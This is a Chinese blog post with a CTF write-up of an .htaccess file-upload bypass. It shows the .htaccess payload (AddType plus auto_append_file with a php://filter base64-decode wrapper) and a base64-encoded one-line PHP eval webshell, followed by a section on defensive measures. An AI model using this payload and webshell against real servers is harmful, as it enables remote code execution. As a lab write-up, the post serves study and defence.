文件上传漏洞之.htaccess文件解析漏洞

本文介绍了.htaccess文件的用途和功能,特别是其在Apache服务器上的配置作用,如文件类型映射、错误页面定制等。重点讲解了利用.htaccess文件上传漏洞,通过auto_append_file和php伪协议进行绕过的方法,展示了如何在上传后使得HTML文件被当作PHP解析并执行附加代码。此外,还提到了利用此漏洞的实战步骤和环境,以及相关参考链接。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

文件上传漏洞之.htaccess文件解析漏洞

前置知识

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

  htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
  Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess文件。
  总之,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

  需要注意,.htaccess文件的作用域为其所在目录与其所有的子目录,若是子目录也存在.htaccess文件,则会覆盖父目录的.htaccess效果。

漏洞利用

环境来源: Dest0g3 520迎新赛 WEB funny_upload

打开链接,是一个文件上传的功能。

在这里插入图片描述

尝试上传.php文件,以及进行后缀名绕过均无效,发现服务器进行了过滤。

在这里插入图片描述

这里尝试上传.htaccess文件,但是服务器对文件内容也有校验,过滤了php的标签<?
因此这里使用auto_append_file和php伪协议组合进行绕过。

首先上传.htaccess文件

Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/jpeg

AddType application/x-httpd-php .html
php_value auto_append_file "php://filter/convert.base64-decode/resource=a.html"

下面介绍一下上传的文件内容。

(1).htaccess参数

常见配法有以下几种:

AddHandler php5-script .jpg

AddType application/x-httpd-php .jpg

Sethandler application/x-httpd-php

Sethandler 将该目录及子目录的所有文件均映射为php文件类型。
Addhandler 使用 php5-script 处理器来解析所匹配到的文件。
AddType 将特定扩展名文件映射为php文件类型。

(2)auto_append_file参数

使用auto_prepend_file与auto_append_file在所有页面的顶部与底部require文件。

php.ini中有两项:
auto_prepend_file 在页面顶部加载文件
auto_append_file 在页面底部加载文件

使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require文件时,只需要修改auto_prepend_file与auto_append_file的值即可。

在需要顶部或底部加载文件的文件夹中加入.htaccess文件,内容如下:

php_value auto_prepend_file "/home/fdipzone/header.php"
php_value auto_append_file "/home/fdipzone/footer.php"

这样在指定.htaccess的文件夹内的页面文件才会加载 /home/fdipzone/header.php/home/fdipzone/footer.php,其他页面文件不受影响。

使用.htaccess设置,比较灵活,不需要重启服务器,也不需要管理员权限,唯一缺点是目录中每个被读取和被解释的文件每次都要进行处理,而不是在启动时处理一次,所以性能会有所降低。

回到本题,上传:

在这里插入图片描述

上传成功,那其实就是说咱们实现了两个事情:
(在uploads/c47b21fcf8f0bc8b3920541abd8024fd/目录下)
1、html文件都会被当作php文件解析。
2、php文件的底部都会被加上a.html文件的内容Base64解码后的东西。

因此下一步需要再上传一个a.html文件。

Content-Disposition: form-data; name="file"; filename="a.html"
Content-Type: image/jpeg

PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+

在这里插入图片描述

访问页面,成功上传。

在这里插入图片描述

菜刀直接连即可。

在这里插入图片描述

参考链接

htaccess_百度百科

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_shu天的博客-CSDN博客

.htaccess文件上传解析漏洞_mmzkyl的博客-CSDN博客_htaccess文件上传解析漏洞

PHP中auto_prepend_file与auto_append_file用法实例分析_php技巧_脚本之家

### 关于 `.htaccess` 文件上传漏洞安全性 #### 什么是`.htaccess`文件上传漏洞? 当Web应用程序允许用户上传文件服务器,并且这些文件能够被解释执行时,可能会发生`.htaccess`文件上传漏洞。如果攻击者成功上传恶意编写的`.htaccess`文件,则可以修改Apache配置设置,进而控制访问权限、重定向流量或绕过其他安全措施。 为了有效防范此类风险,建议采取以下几种策略: - **严格限制文件上传路径**:确保只有特定目录才接受来自用户的文件提交操作;同时,在存储位置方面应远离web根目录[^1]。 - **验证并过滤上传的内容类型**:通过白名单机制限定可接收的MIME类型以及扩展名列表,拒绝任何可疑格式的文档进入系统内部[^3]。 - **禁用危险指令解析**:编辑全局级别的httpd.conf或其他等效配置文件中的选项,关闭不必要的模块和服务端处理功能,比如PHP短标签支持等[^4]。 - **定期扫描已存在的资源库**:部署自动化工具持续监控项目结构内的所有组件是否存在潜在威胁,及时更新至最新稳定版本以修复官方公布过的缺陷. 另外值得注意的是,虽然适当调整`.htaccess`本身有助于增强局部区域的安全防护等级,但从长远来看,还是应该优先考虑采用更高级别的防御手段——即构建稳固的应用程序防火墙(WAF),其具备识别异常行为模式的能力,并能依据预设规则自动拦截非法请求,从而大大降低遭受XSS和SQL注入的风险水平[^2]。 最后,启用站点范围内的SSL/TLS协议对于保障数据传输过程中的私密性和完整性同样至关重要。这不仅限于保护敏感信息不被窃听篡改,而且还能防止中间人攻击的发生[^5]。 ```bash # 设置严格的文件权限 chmod 644 /path/to/your/.htaccess ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

2ha0yuk7on.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值